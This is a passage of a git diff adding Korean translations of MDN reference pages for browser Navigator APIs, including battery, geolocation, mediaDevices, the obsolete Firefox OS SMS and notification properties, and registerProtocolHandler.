@@ -0,0 +1,24 @@
+---
+title: window.navigator.battery
+slug: Web/API/Navigator/battery
+translation_of: Web/API/Navigator/battery
+---
+<p>{{ Apiref() }}</p>
+<h2 id="요약">요약</h2>
+<p><code>battery 객체는 시스템의 배터리 충전 상태에 대한 정보를 제공합니다. 배터리의 충전 상태가 변화할때 발생하는 이벤트에 대한 처리도 가능 합니다. 이 객체는 </code><a href="/en-US/docs/WebAPI/Battery_Status" title="/en-US/docs/WebAPI/Battery_Status">Battery Status API</a> 의 구현입니다. 보다 자세한 내용, API, 샘플 코드 등은 문서를 참고 해 주세요.</p>
+<h2 id="Syntax" name="Syntax">문법</h2>
+<pre class="syntaxbox">var battery = window.navigator.battery;</pre>
+<h2 id="값">값</h2>
+<p><code>navigator.battery</code> 는 {{domxref("BatteryManager")}} 객체 입니다.</p>
+<h2 id="명세">명세</h2>
+<p>{{page("/en-US/docs/Web/API/BatteryManager","Specifications")}}</p>
+<h2 id="브라우저_호환">브라우저 호환</h2>
+<p style="color: rgb(77, 78, 83);">{{page("/en-US/docs/Web/API/BatteryManager","Browser_compatibility")}}</p>
+<p><span style="font-family: Georgia, Times, 'Times New Roman', serif; font-size: 1.628em; font-weight: 700; letter-spacing: -1px; line-height: 22.79199981689453px;">참고</span></p>
+<ul>
+ <li>{{domxref("BatteryManager")}}</li>
+ <li><a href="/en-US/docs/WebAPI/Battery_Status" title="/en-US/docs/WebAPI/Battery_Status">Battery Status API</a> 문서</li>
+ <li><a class="external" href="http://hacks.mozilla.org/2012/02/using-the-battery-api-part-of-webapi/">블로그 - Using the Battery API</a></li>
+ <li><a class="external" href="http://davidwalsh.name/battery-api" title="http://davidwalsh.name/battery-api">David Walsh 가 쓴 the JavaScript Battery Api</a></li>
+ <li><a href="https://github.com/pstadler/battery.js" title="https://github.com/pstadler/battery.js">battery.js - 경량의 크로스 브라우저 랩퍼(wrapper)</a></li>
+</ul>
diff --git a/files/ko/web/api/navigator/geolocation/index.html b/files/ko/web/api/navigator/geolocation/index.html
new file mode 100644
index 0000000000..602e294065
--- /dev/null
+++ b/files/ko/web/api/navigator/geolocation/index.html
@@ -0,0 +1,50 @@
+---
+title: Navigator.geolocation
+slug: Web/API/Navigator/geolocation
+tags:
+ - API
+ - Geolocation API
+ - Navigator
+ - Property
+ - Reference
+ - Secure context
+translation_of: Web/API/Navigator/geolocation
+---
+<div>{{securecontext_header}}{{APIRef("Geolocation API")}}</div>
+
+<p><strong><code>Navigator.geolocation</code></strong> 읽기 전용 속성은 웹에서 장치의 위치를 알아낼 때 사용할 수 있는 {{domxref("Geolocation")}} 객체를 반환합니다. 웹 사이트나 웹 앱은 위치정보를 사용해 결과 화면을 맞춤 설정할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 보안 상의 문제로, 웹 페이지가 위치 정보에 접근을 시도하면 사용자에게 알림을 보내고 권한을 허용할지 묻습니다. 각 브라우저는 자신만의 권한 정책과 요청 방식을 가지고 있으므로 주의해야 합니다.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Geolocation', '#dom-navigator-geolocation', 'Navigator.geolocation')}}</td>
+ <td>{{Spec2('Geolocation')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Navigator.geolocation")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/WebAPI/Using_geolocation">위치정보 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/api/navigator/index.html b/files/ko/web/api/navigator/index.html
new file mode 100644
index 0000000000..62f16807f7
--- /dev/null
+++ b/files/ko/web/api/navigator/index.html
@@ -0,0 +1,137 @@
+---
+title: Navigator
+slug: Web/API/Navigator
+tags:
+ - API
+ - DOM
+ - Interface
+ - Navigator
+ - Reference
+ - Web
+translation_of: Web/API/Navigator
+---
+<div>{{APIRef("DOM4")}}</div>
+
+<p><code><strong>Navigator</strong></code> 인터페이스는 {{glossary("user agent", "사용자 에이전트")}}의 상태와 신원 정보를 나타냅내며, 스크립트로 해당 정보를 질의할 때와 애플리케이션을 특정 활동에 등록할 때 사용합니다.</p>
+
+<p><code>Navigator</code> 객체는 {{domxref("window.navigator")}} 읽기 전용 속성으로 접근할 수 있습니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<p>아무 속성도 상속하지 않지만, {{domxref("NavigatorID")}}, {{domxref("NavigatorLanguage")}}, {{domxref("NavigatorOnLine")}}, {{domxref("NavigatorContentUtils")}}, {{domxref("NavigatorStorage")}}, {{domxref("NavigatorStorageUtils")}}, {{domxref("NavigatorConcurrentHardware")}}, {{domxref("NavigatorPlugins")}}, {{domxref("NavigatorUserMedia")}}가 정의한 속성을 구현합니다.</p>
+
+<h3 id="표준_속성">표준 속성</h3>
+
+<dl>
+ <dt>{{domxref("Navigator.connection")}} {{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>장치의 네트워크 연결 정보를 담은 {{domxref("NetworkInformation")}} 객체를 반환합니다.</dd>
+ <dt>{{domxref("Navigator.cookieEnabled")}} {{readonlyinline}}</dt>
+ <dd>{{glossary("cookie", "쿠키")}} 설정을 할 수 있으면 참, 아니면 거짓을 반환합니다.</dd>
+ <dt>{{domxref("Navigator.credentials")}} {{readonlyInline}}</dt>
+ <dd>사용자 인증 정보를 요청하고, 로그인과 회원가입 등 중요한 이벤트의 발생을 {{glossary("user agent", "사용자 에이전트")}}에 알려줄 수 있는 {{domxref("CredentialsContainer")}} 인터페이스를 반환합니다.</dd>
+ <dt>{{domxref("Navigator.deviceMemory")}} {{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>장치의 메모리를 기가바이트 단위로 반환합니다. 근삿값으로서, 실제 값을 가장 가까운 2의 배수로 반올림한 후에 1024로 나눠서 제공합니다.</dd>
+ <dt>{{domxref("Navigator.doNotTrack")}} {{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>사용자의 추적 거부 설정 값을 반환합니다. 값이 "<code>yes</code>"면 웹 사이트 또는 앱에서 사용자를 추적하지 않아야 합니다.</dd>
+ <dt>{{domxref("Navigator.geolocation")}} {{readonlyInline}}</dt>
+ <dd>장치의 위치 정보에 접근할 수 있는 {{domxref("Geolocation")}} 객체를 반환합니다.</dd>
+ <dt>{{domxref("NavigatorConcurrentHardware.hardwareConcurrency")}} {{readonlyInline}}</dt>
+ <dd>중앙처리장치의 사용 가능한 논리 코어 수를 반환합니다.</dd>
+ <dt>{{domxref("NavigatorPlugins.javaEnabled")}} {{readonlyInline}}</dt>
+ <dd>호스트 브라우저에서 Java를 사용 가능한지 나타냅니다.</dd>
+ <dt>{{domxref('Navigator.keyboard')}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>Returns a {{domxref('Keyboard')}} object which provides access to functions that retrieve keyboard layout maps and toggle capturing of key presses from the physical keyboard.</dd>
+ <dt>{{domxref("NavigatorLanguage.language")}} {{readonlyInline}}</dt>
+ <dd>사용자의 선호 언어(주로 브라우저 UI 언어)를 나타내는 {{domxref("DOMString")}}을 반환합니다. 언어를 알 수 없는 경우 <code>null</code>을 반환합니다.</dd>
+ <dt>{{domxref("NavigatorLanguage.languages")}} {{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>사용자에게 알려진 언어 목록을 나타내는 {{domxref("DOMString")}} 배열을 반환합니다. 정렬 순서는 사용자의 언어 선호도입니다.</dd>
+ <dt>{{domxref("Navigator.locks")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>새로운 {{domxref("Lock")}} 객체를 요청하거나, 기존 Lock 객체를 질의할 수 있는 {{domxref("LockManager")}} 객체를 반환합니다.</dd>
+ <dt>{{domxref("Navigator.maxTouchPoints")}} {{readonlyInline}}</dt>
+ <dd>현재 장치에서 지원하는 최대 동시 터치 지점의 수를 반환합니다.</dd>
+ <dt>{{domxref("Navigator.mediaCapabilities")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>주어진 형식과 출력 형태에 대한 인코딩 및 디코딩 능력을 알아낼 수 있는 {{domxref("MediaCapabilities")}} 객체를 반환합니다.</dd>
+ <dt>{{domxref("Navigator.mediaDevices")}} {{readonlyinline}}</dt>
+ <dd>Returns a reference to a {{domxref("MediaDevices")}} object which can then be used to get information about available media devices ({{domxref("MediaDevices.enumerateDevices()")}}), find out what constrainable properties are supported for media on the user's computer and user agent ({{domxref("MediaDevices.getSupportedConstraints()")}}), and to request access to media using {{domxref("MediaDevices.getUserMedia()")}}.</dd>
+ <dt>{{domxref("Navigator.mediaSession")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>Returns {{domxref("MediaSession")}} object which can be used to provide metadata that can be used by the browser to present information about the currently-playing media to the user, such as in a global media controls UI.</dd>
+ <dt>{{domxref("NavigatorPlugins.mimeTypes")}} {{readonlyInline}}</dt>
+ <dd>Returns an {{domxref("MimeTypeArray")}} listing the MIME types supported by the browser.</dd>
+ <dt>{{domxref("Navigator.onLine")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Boolean")}} indicating whether the browser is working online.</dd>
+ <dt>{{domxref("Navigator.permissions")}} {{readonlyinline}} {{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("Permissions")}} object that can be used to query and update permission status of APIs covered by the <a href="/en-US/docs/Web/API/Permissions_API">Permissions API</a>.</dd>
+ <dt>{{domxref("NavigatorPlugins.plugins")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("PluginArray")}} listing the plugins installed in the browser.</dd>
+ <dt>{{domxref("Navigator.presentation")}} {{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>Returns a reference to the {{domxref("Presentation")}} API.</dd>
+ <dt>{{domxref("Navigator.serviceWorker")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("ServiceWorkerContainer")}} object, which provides access to registration, removal, upgrade, and communication with the {{domxref("ServiceWorker")}} objects for the <a href="https://html.spec.whatwg.org/multipage/browsers.html#concept-document-window">associated document</a>.</dd>
+ <dt>{{domxref("NavigatorStorage.storage")}} {{readonlyinline}}</dt>
+ <dd>Returns the singleton {{domxref('StorageManager')}} object used for managing persistence permissions and estimating available storage on a site-by-site/app-by-app basis.</dd>
+ <dt>{{domxref("NavigatorID.userAgent")}} {{readonlyInline}}</dt>
+ <dd>Returns the user agent string for the current browser.</dd>
+ <dt>{{domxref("Navigator.vendor")}} {{readonlyInline}}</dt>
+ <dd>Returns the vendor name of the current browser (e.g., "Netscape6").</dd>
+ <dt>{{domxref("Navigator.webdriver")}} {{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>Indicates whether the user agent is controlled by automation.</dd>
+ <dt>{{domxref("Navigator.xr")}} {{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>Returns {{domxref("XR")}} object, which represents the entry point into the <a href="/en-US/docs/Web/API/WebXR_API">WebXR API</a>.</dd>
+</dl>
+
+<h3 id="비표준_속성">비표준 속성</h3>
+
+<dl>
+ <dt>{{domxref("Navigator.buildID")}} {{non-standard_inline}}</dt>
+ <dd>Returns the build identifier of the browser. In modern browsers this property now returns a fixed timestamp as a privacy measure, e.g. <code>20181001000000</code> in Firefox 64 onwards.</dd>
+ <dt>{{domxref("Navigator.securitypolicy")}} {{non-standard_inline}}</dt>
+ <dd>Returns an empty string. In Netscape 4.7x, returns "US &amp; CA domestic policy" or "Export policy".</dd>
+ <dt>{{domxref("Navigator.standalone")}} {{non-standard_inline}}</dt>
+ <dd>Returns a boolean indicating whether the browser is running in standalone mode. Available on Apple's iOS Safari only.</dd>
+ <dt>{{domxref("Navigator.wakeLock")}} {{readonlyInline}} {{non-standard_inline}}</dt>
+ <dd>Returns a {{domxref("WakeLock")}} interface you can use to request screen wake locks and prevent screen from dimming, turning off, or showing a screen saver.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p>아무 메서드도 상속하지 않지만, {{domxref("NavigatorID")}}, {{domxref("NavigatorContentUtils")}}, {{domxref("NavigatorUserMedia")}}, {{domxref("NavigatorStorageUtils")}}가 정의하는 메서드를 구현합니다.</p>
+
+<dl>
+ <dt>{{domxref("Navigator.canShare()")}}</dt>
+ <dd>Returns <code>true</code> if a call to <code>Navigator.share()</code> would succeed.</dd>
+ <dt>{{domxref("Navigator.registerProtocolHandler()")}}</dt>
+ <dd>Allows web sites to register themselves as a possible handler for a given protocol.</dd>
+ <dt>{{domxref("Navigator.requestMediaKeySystemAccess()")}}</dt>
+ <dd>Returns a <span style="line-height: 19.0909080505371px;">{{jsxref("Promise")}} for a MediaKeySystemAccess object.</span></dd>
+ <dt>{{domxref("Navigator.sendBeacon()")}}</dt>
+ <dd>Used to asynchronously transfer a small amount of data using {{Glossary("HTTP")}} from the User Agent to a web server.</dd>
+ <dt>{{domxref("Navigator.share()")}}</dt>
+ <dd>Invokes the native sharing mechanism of the current platform.</dd>
+ <dt>{{domxref("Navigator.vibrate()")}}</dt>
+ <dd>Causes vibration on devices with support for it. Does nothing if vibration support isn't available.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#the-navigator-object', 'the Navigator object')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<div>{{Compat("api.Navigator")}}</div>
diff --git a/files/ko/web/api/navigator/mediadevices/index.html b/files/ko/web/api/navigator/mediadevices/index.html
new file mode 100644
index 0000000000..01a4984acd
--- /dev/null
+++ b/files/ko/web/api/navigator/mediadevices/index.html
@@ -0,0 +1,56 @@
+---
+title: Navigator.mediaDevices
+slug: Web/API/Navigator/mediaDevices
+tags:
+ - Media
+ - Media Capture and Streams API
+ - Media Streams API
+ - Navigator
+ - Property
+ - Read-only
+ - Reference
+ - Web
+translation_of: Web/API/Navigator/mediaDevices
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><strong><code>Navigator.mediaDevices</code></strong> 읽기 전용 속성은 카메라, 마이크, 화면 공유와 같이 현재 연결된 미디어 입력 장치에 접근할 수 있는 {{domxref("MediaDevices")}} 객체를 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">var <em>mediaDevices</em> = navigator.mediaDevices;
+</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{domxref("MediaDevices")}} 싱글톤 객체.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Media Capture', '#widl-NavigatorUserMedia-mediaDevices', 'NavigatorUserMedia.mediaDevices')}}</td>
+ <td>{{Spec2('Media Capture')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Navigator.mediaDevices")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a>: 전체 미디어 스트림 API 문서의 시작 지점.</li>
+ <li><a href="/ko/docs/Web/API/WebRTC_API">WebRTC API</a>: 밀접한 관련이 있는 WebRTC API 문서.</li>
+</ul>
diff --git a/files/ko/web/api/navigator/mozmobilemessage/index.html b/files/ko/web/api/navigator/mozmobilemessage/index.html
new file mode 100644
index 0000000000..7645d8d833
--- /dev/null
+++ b/files/ko/web/api/navigator/mozmobilemessage/index.html
@@ -0,0 +1,58 @@
+---
+title: window.navigator.mozMobileMessage
+slug: Web/API/Navigator/mozMobileMessage
+tags:
+ - Non-standard
+ - Obsolete
+translation_of: Archive/B2G_OS/API/Navigator/mozMobileMessage
+---
+<p>{{ ApiRef() }}</p>
+
+<p>{{ non-standard_header() }}</p>
+
+<p>{{ B2GOnlyHeader2('certified') }}</p>
+
+<h2 id="Summary" name="Summary">요약</h2>
+
+<p>{{ domxref("MozMobileMessageManager") }} 객체를 반환한다. 이 객체는 MMS와 SMS 메시지를 보내거나 받는데 사용된다.</p>
+
+<h2 id="명세">명세</h2>
+
+<p> </p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Messaging')}}</td>
+ <td>{{Spec2('Messaging')}}</td>
+ <td>Editor Draft (WIP).</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="설정_이용_가능한_환경">설정 &amp; 이용 가능한 환경</h2>
+
+<div id="compat-mobile"> </div>
+
+<ul>
+ <li>WebSMS는 기본적으로 비활성화 되어있습니다. <code>dom.sms.enabled 설정을 true로 지정하여야 활성화됩니다.</code></li>
+ <li>WebSMS API를 사용하도록 허가된 호스트명들의 화이트 리스트(콤마로 구분)는 반드시 <code>dom.sms.whitelist 설정에 명시되어야 합니다. 이 문자열은 기본적으로 빈 문자열입니다.</code></li>
+ <li>WebSMS는 오직 Firefox OS (B2G) 에 인증된 앱에서만 이용 가능합니다.</li>
+ <li>MMS는 Firefox OS 1.1 부터 이용 가능합니다.</li>
+</ul>
+
+<h2 id="참고_자료">참고 자료</h2>
+
+<ul>
+ <li><a href="/en-US/docs/API/WebSMS" title="/en-US/docs/API/WebSMS">WebSMS API</a></li>
+ <li>{{ domxref("MozMobileMessageManager") }}</li>
+ <li>{{ domxref("window.navigator.mozTelephony") }} for controlling telephone calls.</li>
+ <li>{{ domxref("window.navigator.mozSms") }} for handling SMS only.</li>
+</ul>
diff --git a/files/ko/web/api/navigator/moznotification/index.html b/files/ko/web/api/navigator/moznotification/index.html
new file mode 100644
index 0000000000..9c593ec4a1
--- /dev/null
+++ b/files/ko/web/api/navigator/moznotification/index.html
@@ -0,0 +1,63 @@
+---
+title: navigator.mozNotification
+slug: Web/API/Navigator/mozNotification
+translation_of: Archive/API/Navigator/mozNotification
+---
+<div class="warning">
+<p style="text-align: center;">The support for this property as been dropped in favor of the standard {{domxref("Notification")}} constructor.</p>
+</div>
+
+<p>Provides support for creating {{ domxref("notification") }} objects, which are used to display desktop notification alerts to the user. Currently, these are only supported on Firefox Mobile and Firefox OS. See <a href="/en/DOM/Displaying_notifications" title="en/DOM/Displaying notifications">Displaying notifications</a> for an example.</p>
+
+<h2 id="Method_overview" name="Method_overview">Method overview</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td><code>notification <a href="#createNotification()">createNotification</a>(in DOMString title, in DOMString description, in DOMString iconURL {{ optional_inline() }});</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Methods" name="Methods">Methods</h2>
+
+<h3 id="createNotification()" name="createNotification()">createNotification()</h3>
+
+<p>Creates and returns a notification object that can be used to display the specified message with an optional URL.</p>
+
+<pre class="eval">notification createNotification(
+ in DOMString title,
+ in DOMString description,
+ in DOMString iconURL {{ optional_inline() }}
+);
+</pre>
+
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+
+<dl>
+ <dt><code>title</code></dt>
+ <dd>알림 타이틀.</dd>
+ <dt><code>description</code></dt>
+ <dd>알림에 표시할 텍스트.</dd>
+ <dt><code>iconURL</code> {{ optional_inline() }}</dt>
+ <dd>A URL identifying the image to display in the notification.</dd>
+</dl>
+
+<h6 id="Return_value" name="Return_value">Return value</h6>
+
+<p>A new {{ domxref("notification") }} object.</p>
+
+<h2 id="Methods" name="Methods">Permissions</h2>
+
+<p>manifest 파일에 "desktop-notification" permission 을 추가 해야 한다.</p>
+
+<pre class="default prettyprint prettyprinted"><code><span class="str">"permissions"</span><span class="pun">:</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
+ </span><span class="str">"desktop-notification"</span><span class="pun">:{}</span><span class="pln">
+</span><span class="pun">}</span></code></pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{ domxref("notification") }}</li>
+ <li><a href="/en/DOM/Displaying_notifications" title="en/DOM/Displaying notifications">Displaying notifications</a></li>
+</ul>
diff --git a/files/ko/web/api/navigator/mozsms/index.html b/files/ko/web/api/navigator/mozsms/index.html
new file mode 100644
index 0000000000..d6c9c16983
--- /dev/null
+++ b/files/ko/web/api/navigator/mozsms/index.html
@@ -0,0 +1,67 @@
+---
+title: window.navigator.mozSms
+slug: Web/API/Navigator/mozSms
+tags:
+ - API
+ - Firefox OS
+ - Mobile
+ - Obsolete
+ - Property
+ - WebSMS
+translation_of: Archive/B2G_OS/API/Navigator/mozSms
+---
+<p>{{APIRef("Mobile Messaging API")}}</p>
+
+<div class="blockIndicator obsolete">
+<p><strong>Obsolete since Gecko 25 (Firefox 25 / Thunderbird 25 / SeaMonkey 2.22)</strong><br>
+ This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it.</p>
+</div>
+
+<div class="blockIndicator warning">
+<p style="text-align: center;">This API is available on <a href="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> for <a href="/en-US/docs/Mozilla/Firefox_OS/Security/Application_security#App_Types">internal applications</a> only.</p>
+</div>
+
+<p><code><a href="/ko/docs/Archive/B2G_OS/API/MozSmsManager">MozSmsManager</a></code> 객체를 반환한다. 이 객체는 SMS 메시지를 보내거나 받는데 사용된다.</p>
+
+<div class="blockIndicator note">
+<p>Note: <strong>Do not use anymore! </strong>This object has been removed in favor of <a href="/en-US/docs/Archive/B2G_OS/API/Navigator/mozMobileMessage" title="Returns a MozMobileMessageManager object you can use to receive and send MMS and SMS messages."><code>Navigator.mozMobileMessage</code></a>.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<p>이 API는 비 표준 스펙의 구현체입니다. 하지만 W3C의 <a href="http://www.w3.org/2012/sysapps/" title="http://www.w3.org/2012/sysapps/">System Application Working Group</a>에서 논의되고 있습니다.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Messaging')}}</td>
+ <td>{{Spec2('Messaging')}}</td>
+ <td>Editor Draft (WIP).</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="설정_이용_가능한_환경">설정 &amp; 이용 가능한 환경</h2>
+
+<div id="compat-mobile"> </div>
+
+<ul>
+ <li>WebSMS는 기본적으로 비활성화 되어있습니다. <code>dom.sms.enabled</code> 설정을 true로 지정하여야 활성화됩니다.</li>
+ <li>WebSMS API를 사용하도록 허가된 호스트명들의 화이트 리스트(콤마로 구분)는 반드시 <code>dom.sms.whitelist 설정에 명시되어야 합니다. 이 문자열은 기본적으로 빈 문자열입니다.</code></li>
+ <li>WebSMS는 오직 Firefox OS (B2G) 에 인증된 앱에서만 이용 가능합니다.</li>
+</ul>
+
+<h2 id="참고_자료">참고 자료</h2>
+
+<ul>
+ <li><a href="/en-US/docs/API/WebSMS" title="/en/docs/API/WebSMS">WebSMS API</a></li>
+ <li>{{ domxref("SmsManager") }}</li>
+ <li>{{ domxref("window.navigator.mozTelephony") }} for controlling telephone calls.</li>
+</ul>
diff --git a/files/ko/web/api/navigator/registerprotocolhandler/index.html b/files/ko/web/api/navigator/registerprotocolhandler/index.html
new file mode 100644
index 0000000000..1b146a356e
--- /dev/null
+++ b/files/ko/web/api/navigator/registerprotocolhandler/index.html
@@ -0,0 +1,125 @@
+---
+title: Navigator.registerProtocolHandler()
+slug: Web/API/Navigator/registerProtocolHandler
+tags:
+ - API
+ - DOM
+ - Method
+ - Navigator
+ - Reference
+translation_of: Web/API/Navigator/registerProtocolHandler
+---
+<div>{{APIRef("HTML DOM")}}{{securecontext_header}}</div>
+
+<p><span class="seoSummary"><strong><code>Navigator.registerProtocolHandler()</code></strong> 메서드는 웹 사이트가 특정 {{glossary("URL")}} 스킴("프로토콜")을 열거나 처리할 수 있도록 등록합니다.</span> 이를테면, 이메일 사이트가 <code>mailto:</code> URL에, <abbr title="Voice over Internet Protocol, 인터넷 전화">VoIP</abbr> 사이트가 <code>tel:</code> URL에 자신을 등록할 때 사용할 수 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">navigator.registerProtocolHandler(<var>protocol</var>, <var>url</var>, <var>title</var>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>protocol</code></dt>
+ <dd>웹 사이트가 처리하고자 하는 프로토콜 문자열. 예컨대 SMS 문자 메시지를 처리하고자 한다면 <code>"sms"</code>를 전달하세요.</dd>
+ <dt><code>url</code></dt>
+ <dd>처리기의 URL. <strong>플레이스홀더로 사용할 <code>%s</code>를 반드시 포함</strong>해야 합니다. 실제 사용 시, <code>%s</code>에는 처리 대상 URL을 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/encodeURIComponent">이스케이프 처리</a>해 대입합니다.
+ <div class="note"><strong>참고:</strong> 처리기의 URL은 반드시 <code>http</code> 또는 <code>https</code> 스킴을 필요로 합니다. 일부 브라우저는 보안상 <code>https</code>를 요구하므로 <code>https</code>를 사용하는 편이 좋습니다.</div>
+ </dd>
+ <dt><code>title</code></dt>
+ <dd>사람이 읽을 수 있는 형태의 처리기 이름. 브라우저 설정 등 처리기 목록에서 <strong>사용자에게 보이는 이름</strong>입니다.</dd>
+</dl>
+
+<h3 id="예외">예외</h3>
+
+<dl>
+ <dt><code>SecurityError</code></dt>
+ <dd>{{glossary("user agent", "사용자 에이전트")}}가 등록을 막았습니다. 다음 상황에서 발생할 수 있습니다.
+ <ul>
+ <li>등록하려는 스킴(프로토콜)이 유효하지 않습니다. 브라우저가 직접 처리하는 스킴을 등록하려 하면 발생합니다. (<code>https:</code>, <code>about:</code>, ...)</li>
+ <li>처리기 URL의 {{glossary("출처")}}가 API를 호출한 페이지 출처와 일치하지 않습니다.</li>
+ <li>브라우저가 보안 맥락에서의 <code>registerProtocolHandler()</code> 호출을 요구합니다.</li>
+ <li>브라우저가 처리기 URL의 HTTPS 사용을 요구합니다.</li>
+ </ul>
+ </dd>
+ <dt><code>SyntaxError</code></dt>
+ <dd>처리기 URL에 <code>%s</code> 플레이스홀더가 없습니다.</dd>
+</dl>
+
+<h2 id="가능한_스킴">가능한 스킴</h2>
+
+<p>보안상의 이유로, <code>registerProtocolHandler()</code>가 등록할 수 있는 스킴은 제한적입니다.</p>
+
+<p><strong>사용자 지정 스킴</strong>은 다음 조건을 만족해야 합니다.</p>
+
+<ul>
+ <li>스킴이 <code>web+</code>로 시작합니다.</li>
+ <li><code>web+</code> 접두사 뒤에 다른 글자가 최소 하나 존재해야 합니다.</li>
+ <li>소문자 ASCII 문자로만 구성해야 합니다.</li>
+</ul>
+
+<p>아래 {{anch("예제")}}에서 사용한 <code>web+burger</code>는 제약조건을 만족하는 사용자 지정 스킴입니다.</p>
+
+<p>그 외에는 다음 스킴을 등록할 수 있습니다.</p>
+
+<div class="threecolumns">
+<ul>
+ <li><code>bitcoin</code></li>
+ <li><code>geo</code></li>
+ <li><code>im</code></li>
+ <li><code>irc</code></li>
+ <li><code>ircs</code></li>
+ <li><code>magnet</code></li>
+ <li><code>mailto</code></li>
+ <li><code>mms</code></li>
+ <li><code>news</code></li>
+ <li><code>nntp</code></li>
+ <li><code>openpgp4fpr</code></li>
+ <li><code>sip</code></li>
+ <li><code>sms</code></li>
+ <li><code>smsto</code></li>
+ <li><code>ssh</code></li>
+ <li><code>tel</code></li>
+ <li><code>urn</code></li>
+ <li><code>webcal</code></li>
+ <li><code>wtai</code></li>
+ <li><code>xmpp</code></li>
+</ul>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<p>사이트 주소가 <code>burgers.example.com</code>인 경우, 아래 코드로 <code>web+burger:</code> 스킴에 대한 처리기를 등록할 수 있습니다.</p>
+
+<pre class="brush: js">navigator.registerProtocolHandler("web+burger",
+ "https://burgers.example.com/?burger=%s",
+ "Burger handler");</pre>
+
+<p>이제, <code>web+burger:</code> 링크는 사용자를 <code>burgers.example.com</code>로 보내고, 자신의 URL을 <code>%s</code> 위치에 삽입합니다.</p>
+
+<p>이때, 예제 코드는 처리기 URL과 같은 {{glossary("출처")}}를 가져야 하므로 <code>https://burgers.example.com</code>의 페이지 안에서 호출해야 하며, 처리기 URL은 <code>http</code>/<code>https</code>를 사용해야 합니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'system-state.html#custom-handlers', 'registerProtocolHandler()')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Navigator.registerProtocolHandler")}}</p>
